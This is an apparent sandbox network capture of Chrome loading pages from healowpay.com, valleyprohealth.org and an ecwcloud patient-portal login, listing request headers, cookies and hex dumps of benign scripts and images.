2024-04-24 12:45:01 UTC	786	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 48 61 6e 64 6c 65 73 20 74 68 65 20 65 76 65 6e 74 73 20 69 6e 20 74 68 65 20 70 75 62 6c 69 63 20 66 61 63 69 6e 67 20 77 69 6e 64 6f 77 2e 0d 0a 20 2a 2f 0d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 4d 61 73 6f 6e 72 79 20 6c 61 79 6f 75 74 20 66 6f 72 20 62 6c 6f 63 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 20 20 20 20 2f 2f 20 24 28 20 27 2e 63 76 2d 62 6c 6f 63 6b 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 2f 2f 20 20 20 20 20 76 61 72 20 50 69 64 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 Data Ascii: /** * Handles the events in the public facing window. /jQuery(document).ready( function($) { "use strict"; /* * Masonry layout for block. */ // $( '.cv-block' ).each( function() { // var Pid = $(this).attr('id

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	50024	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:01 UTC	553	OUT	GET /HealowPay/jsp/img/icon-healow.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:45:01 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:01 GMT Content-Type: image/png Content-Length: 3098 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"3098-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT Server:
2024-04-24 12:45:01 UTC	3098	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 61 a8 00 00 61 a8 01 1d 20 55 80 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDRapHYsaa UOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	50025	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:01 UTC	747	OUT	GET /wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:02 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:01 GMT Content-Type: application/javascript Content-Length: 29911 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:51 GMT Vary: Accept-Encoding ETag: "64f5a137-74d7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:02 UTC	15954	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 63 3d 74 5b 30 5d 2c 6c 3d 74 5b 31 5d 2c 75 3d 74 5b 32 5d 2c 64 3d 30 2c 66 3d 5b 5d 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 61 3d 63 5b 64 5d 2c 6f 5b 61 5d 26 26 66 2e 70 75 73 68 28 6f 5b 61 5d 5b 30 5d 29 2c 6f 5b 61 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6c 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6c 2c 72 29 26 26 28 65 5b 72 5d 3d 6c 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 74 29 3b 66 2e 6c 65 6e 67 74 68 3b 29 66 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 69 2e 70 75 73 68 2e 61 70 70 6c 79 28 69 2c 75 7c 7c 5b 5d 29 2c 6e 28 29 7d 66 75 Data Ascii: !function(e){function t(t){for(var r,a,c=t[0],l=t[1],u=t[2],d=0,f=[];d<c.length;d++)a=c[d],o[a]&&f.push(o[a][0]),o[a]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);f.length;)f.shift()();return i.push.apply(i,u\|\|[]),n()}fu
2024-04-24 12:45:02 UTC	13957	IN	Data Raw: 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 4c 49 22 29 3b 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 61 67 69 63 2d 6c 69 6e 65 22 29 2c 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6d 28 21 31 29 3b 69 66 28 65 26 26 66 2e 6e 61 76 69 67 61 74 69 6f 6e 43 75 72 72 65 6e 74 49 74 65 6d 29 69 66 28 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6d 61 69 6e 2d 6d 65 6e 75 5f 5f 69 74 65 6d 2d 2d 70 61 72 65 6e 74 2d 2d 61 63 74 69 76 65 20 3e 20 6c 61 62 65 6c 22 29 29 7b 76 61 72 20 74 3d 66 2e 6e 61 76 69 67 61 74 69 6f 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6d Data Ascii: r n=document.createElement("LI");n.classList.add("magic-line"),f.navigation.appendChild(n),function(){var e=m(!1);if(e&&f.navigationCurrentItem)if(f.navigation.querySelector(".main-menu__item--parent--active > label")){var t=f.navigation.querySelector(".m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	50026	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:01 UTC	741	OUT	GET /wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:02 UTC	432	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:02 GMT Content-Type: application/javascript Content-Length: 334711 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:20:00 GMT Vary: Accept-Encoding ETag: "64f5a140-51b77" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:02 UTC	15952	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 2e 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 20 2a 2f 0a 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 69 3d 6e 28 31 37 37 29 2c 6f 3d 6e 28 31 32 31 29 2c 72 3d 6e 28 38 37 29 2c 61 3d 6e 28 37 34 29 2c 73 3d 6e 28 38 35 29 2c 6c 3d 6e 28 31 30 31 29 2c 63 3d 6e 28 34 38 29 2c 75 3d 63 28 22 69 74 65 72 61 74 6f 72 22 29 2c 64 3d 63 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 2c 68 3d 6c 2e 41 72 72 61 79 2c 66 3d 7b Data Ascii: /! For license information please see vendor.bundle.js.LICENSE /(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],[function(t,e,n){for(var i=n(177),o=n(121),r=n(87),a=n(74),s=n(85),l=n(101),c=n(48),u=c("iterator"),d=c("toStringTag"),h=l.Array,f={
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 64 6f 77 57 69 64 74 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 69 65 6e 74 57 69 64 74 68 7d 7d 5d 29 2c 74 7d 28 29 2c 63 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 28 69 50 61 64 29 7c 28 69 50 68 6f 6e 65 29 7c 28 69 50 6f 64 29 7c 28 41 6e 64 72 6f 69 64 29 7c 28 50 6c 61 79 42 6f 6f 6b 29 7c 28 42 42 31 30 29 7c 28 42 6c 61 63 6b 42 65 72 72 79 29 7c 28 4f 70 65 72 61 20 4d 69 6e 69 29 7c 28 49 45 4d 6f 62 69 6c 65 29 7c 28 77 65 62 4f 53 29 7c 28 4d 65 65 Data Ascii: dowWidth",value:function(){return window.innerWidth\|\|document.documentElement.clientWidth\|\|document.body.clientWidth}}]),t}(),c=navigator.userAgent.match(/(iPad)\|(iPhone)\|(iPod)\|(Android)\|(PlayBook)\|(BB10)\|(BlackBerry)\|(Opera Mini)\|(IEMobile)\|(webOS)\|(Mee
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 73 70 72 65 61 64 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 28 29 7d 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 45 28 74 2c 22 66 6f 63 75 73 65 64 22 29 7d 29 3b 69 66 28 21 72 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 67 62 74 6e 5b 74 61 62 69 6e 64 65 78 3d 22 30 22 5d 27 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 61 26 26 28 61 2e 66 6f 63 75 73 28 29 2c 54 28 61 2c 22 66 6f 63 75 73 65 64 22 29 29 29 7d 6f 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 Data Ascii: {throw new TypeError("Invalid attempt to spread non-iterable instance")}()}(o).filter(function(t){return E(t,"focused")});if(!r.length){var a=document.querySelector('.gbtn[tabindex="0"]');return void(a&&(a.focus(),T(a,"focused")))}o.forEach(function(t){re
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 3a 65 7d 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 30 3d 3d 3d 74 3f 74 3a 2b 74 3b 74 3d 74 2e 72 65 70 6c 61 63 65 28 54 2c 22 22 29 3b 76 61 72 20 6e 3d 45 2e 74 65 73 74 28 74 29 3b 72 65 74 75 72 6e 20 6e 7c 7c 53 2e 74 65 73 74 28 74 29 3f 41 28 74 2e 73 6c 69 63 65 28 32 29 2c 6e 3f 32 3a 38 29 3a 78 2e 74 65 73 74 28 74 29 3f 77 3a 2b 74 7d 76 61 72 20 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 69 2c 6f 2c 72 2c 61 2c 73 2c 6c 2c 63 3d 30 2c 75 3d 21 31 2c 64 3d 21 31 2c 68 3d 21 30 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 78 70 65 63 74 65 64 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: :e}if("string"!=typeof t)return 0===t?t:+t;t=t.replace(T,"");var n=E.test(t);return n\|\|S.test(t)?A(t.slice(2),n?2:8):x.test(t)?w:+t}var z=function(t,e,n){var i,o,r,a,s,l,c=0,u=!1,d=!1,h=!0;if("function"!=typeof t)throw new TypeError("Expected a function")
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 73 65 72 41 67 65 6e 74 2c 6e 65 77 20 52 65 67 45 78 70 28 5b 22 4d 53 49 45 20 22 2c 22 54 72 69 64 65 6e 74 2f 22 2c 22 45 64 67 65 2f 22 5d 2e 6a 6f 69 6e 28 22 7c 22 29 29 2e 74 65 73 74 28 6e 29 3f 31 3a 30 29 3b 74 2e 73 63 72 6f 6c 6c 3d 74 2e 73 63 72 6f 6c 6c 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 26 26 28 21 30 21 3d 3d 63 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3f 70 2e 63 61 6c 6c 28 74 2c 65 2e 62 6f 64 79 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 3a 74 2e 73 63 72 6f 6c 6c 58 7c 7c 74 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: serAgent,new RegExp(["MSIE ","Trident/","Edge/"].join("\|")).test(n)?1:0);t.scroll=t.scrollTo=function(){void 0!==arguments[0]&&(!0!==c(arguments[0])?p.call(t,e.body,void 0!==arguments[0].left?~~arguments[0].left:t.scrollX\|\|t.pageXOffset,void 0!==arguments
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 6c 65 6e 67 74 68 2c 76 3d 76 6f 69 64 20 30 2c 79 3d 30 3b 79 3c 67 3b 79 2b 2b 29 7b 76 61 72 20 62 3d 76 6f 69 64 20 30 2c 6b 3d 63 2e 74 6f 2e 6e 75 6d 62 65 72 73 5b 79 5d 2c 54 3d 63 2e 66 72 6f 6d 2e 6e 75 6d 62 65 72 73 5b 79 5d 7c 7c 30 3b 62 3d 63 2e 69 73 50 61 74 68 3f 71 28 63 2e 76 61 6c 75 65 2c 68 2a 6b 29 3a 54 2b 68 2a 28 6b 2d 54 29 2c 70 26 26 28 63 2e 69 73 43 6f 6c 6f 72 26 26 79 3e 32 7c 7c 28 62 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 62 2a 70 29 2f 70 29 29 2c 6d 2e 70 75 73 68 28 62 29 7d 76 61 72 20 78 3d 66 2e 6c 65 6e 67 74 68 3b 69 66 28 78 29 7b 76 3d 66 5b 30 5d 3b 66 6f 72 28 76 61 72 20 45 3d 30 3b 45 3c 78 3b 45 2b 2b 29 7b 66 5b 45 5d 3b 76 61 72 20 53 3d 66 5b 45 2b 31 5d 2c 41 3d 6d 5b 45 5d 3b 69 73 4e 61 4e 28 41 29 7c Data Ascii: length,v=void 0,y=0;y<g;y++){var b=void 0,k=c.to.numbers[y],T=c.from.numbers[y]\|\|0;b=c.isPath?q(c.value,hk):T+h(k-T),p&&(c.isColor&&y>2\|\|(b=Math.round(b*p)/p)),m.push(b)}var x=f.length;if(x){v=f[0];for(var E=0;E<x;E++){f[E];var S=f[E+1],A=m[E];isNaN(A)\|
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 28 74 29 7b 74 3d 46 69 28 74 29 3b 76 61 72 20 65 3d 5b 69 2e 4c 45 46 54 2c 69 2e 52 49 47 48 54 5d 2e 69 6e 64 65 78 4f 66 28 74 2e 6b 65 79 43 6f 64 65 29 3b 65 3e 3d 30 26 26 50 69 28 74 2c 30 3d 3d 3d 65 3f 2d 31 3a 31 29 7d 7d 2c 4e 65 3d 7b 74 6f 75 63 68 73 74 61 72 74 3a 59 69 2c 74 6f 75 63 68 6d 6f 76 65 3a 58 69 2c 74 6f 75 63 68 65 6e 64 3a 55 69 2c 74 6f 75 63 68 63 61 6e 63 65 6c 3a 55 69 7d 2c 4f 65 3d 7b 6d 6f 75 73 65 64 6f 77 6e 3a 59 69 2c 6d 6f 75 73 65 6d 6f 76 65 3a 58 69 2c 6d 6f 75 73 65 75 70 3a 55 69 2c 6d 6f 75 73 65 6c 65 61 76 65 3a 55 69 7d 2c 50 65 3d 49 6e 28 22 63 6f 6e 74 72 6f 6c 73 22 29 2c 49 65 3d 49 6e 28 22 6e 61 76 22 29 2c 5f 65 3d 21 21 41 74 7c 7c 74 2e 6e 61 76 41 73 54 68 75 6d 62 6e 61 69 6c 73 2c 6a 65 3d Data Ascii: (t){t=Fi(t);var e=[i.LEFT,i.RIGHT].indexOf(t.keyCode);e>=0&&Pi(t,0===e?-1:1)}},Ne={touchstart:Yi,touchmove:Xi,touchend:Ui,touchcancel:Ui},Oe={mousedown:Yi,mousemove:Xi,mouseup:Ui,mouseleave:Ui},Pe=In("controls"),Ie=In("nav"),_e=!!At\|\|t.navAsThumbnails,je=
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 65 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 62 69 28 74 2c 65 2c 6e 29 7b 74 3f 65 2e 64 69 73 61 62 6c 65 64 3d 6e 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 2c 6e 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 77 69 28 29 7b 69 66 28 46 74 26 26 21 44 74 26 26 21 42 74 29 7b 76 61 72 20 74 3d 57 65 3f 58 65 2e 64 69 73 61 62 6c 65 64 3a 79 69 28 58 65 29 2c 65 3d 71 65 3f 55 65 2e 64 69 73 61 62 6c 65 64 3a 79 69 28 55 65 29 2c 6e 3d 6c 65 3c 3d 75 65 2c 69 3d 21 44 74 26 26 6c 65 3e 3d 64 65 3b 6e 26 26 21 74 26 26 62 69 28 57 65 2c 58 65 2c 21 30 29 2c 21 6e 26 26 74 26 26 62 69 28 57 65 2c 58 65 2c 21 31 29 2c 69 26 26 21 65 26 26 62 69 28 71 65 2c 55 65 2c 21 30 29 2c 21 69 26 26 65 Data Ascii: ed")}function bi(t,e,n){t?e.disabled=n:e.setAttribute("aria-disabled",n.toString())}function wi(){if(Ft&&!Dt&&!Bt){var t=We?Xe.disabled:yi(Xe),e=qe?Ue.disabled:yi(Ue),n=le<=ue,i=!Dt&&le>=de;n&&!t&&bi(We,Xe,!0),!n&&t&&bi(We,Xe,!1),i&&!e&&bi(qe,Ue,!0),!i&&e
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 67 4e 61 6d 65 3f 65 2e 74 61 72 67 65 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3a 6e 75 6c 6c 3b 69 66 28 6f 29 7b 76 61 72 20 72 3d 54 28 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 22 62 74 6e 22 29 2c 61 3d 6f 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 49 4e 50 55 54 22 29 5b 30 5d 3b 69 66 28 61 29 7b 69 66 28 22 63 68 65 63 6b 62 6f 78 22 3d 3d 3d 61 2e 74 79 70 65 26 26 28 61 2e 63 68 65 63 6b 65 64 3f 28 77 28 6f 2c 75 29 2c 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 63 68 65 63 6b 65 64 3d 21 31 29 3a 28 62 28 6f 2c 75 29 2c 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 69 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 69 2c 69 29 2c 61 2e 63 68 65 Data Ascii: gName?e.target.parentNode:null;if(o){var r=T(o.parentNode,"btn"),a=o.getElementsByTagName("INPUT")[0];if(a){if("checkbox"===a.type&&(a.checked?(w(o,u),a.getAttribute(i),a.removeAttribute(i),a.checked=!1):(b(o,u),a.getAttribute(i),a.setAttribute(i,i),a.che
2024-04-24 12:45:02 UTC	16384	IN	Data Raw: 22 3d 3d 3d 6e 3f 30 3a 31 2c 74 68 69 73 2e 61 75 74 6f 68 69 64 65 3d 21 31 3d 3d 3d 65 2e 61 75 74 6f 68 69 64 65 7c 7c 22 66 61 6c 73 65 22 3d 3d 3d 69 3f 30 3a 31 2c 74 68 69 73 2e 64 65 6c 61 79 3d 70 61 72 73 65 49 6e 74 28 65 2e 64 65 6c 61 79 7c 7c 6f 29 7c 7c 35 30 30 3b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 30 2c 73 3d 45 28 74 2c 22 2e 74 6f 61 73 74 22 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 28 73 2c 22 73 68 6f 77 69 6e 67 22 29 2c 62 28 73 2c 22 73 68 6f 77 22 29 2c 4f 2e 63 61 6c 6c 28 73 2c 22 73 68 6f 77 6e 22 2c 22 74 6f 61 73 74 22 29 2c 72 2e 61 75 74 6f 68 69 64 65 26 26 72 2e 68 69 64 65 28 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 62 28 73 2c 22 68 69 64 65 22 29 2c 4f 2e 63 61 6c 6c 28 73 2c 22 68 69 64 64 65 6e 22 Data Ascii: "===n?0:1,this.autohide=!1===e.autohide\|\|"false"===i?0:1,this.delay=parseInt(e.delay\|\|o)\|\|500;var r=this,a=0,s=E(t,".toast"),l=function(){w(s,"showing"),b(s,"show"),O.call(s,"shown","toast"),r.autohide&&r.hide()},c=function(){b(s,"hide"),O.call(s,"hidden"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	50027	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:01 UTC	742	OUT	GET /wp-content/plugins/wp-rocket/assets/js/heartbeat.js?ver=3.15.10 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:02 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:02 GMT Content-Type: application/javascript Content-Length: 0 Connection: close Last-Modified: Sun, 31 Mar 2024 06:31:23 GMT ETag: "6609033b-0" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	50032	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:03 UTC	678	OUT	GET /portal14763/jsp/100mp/login_otp.jsp HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
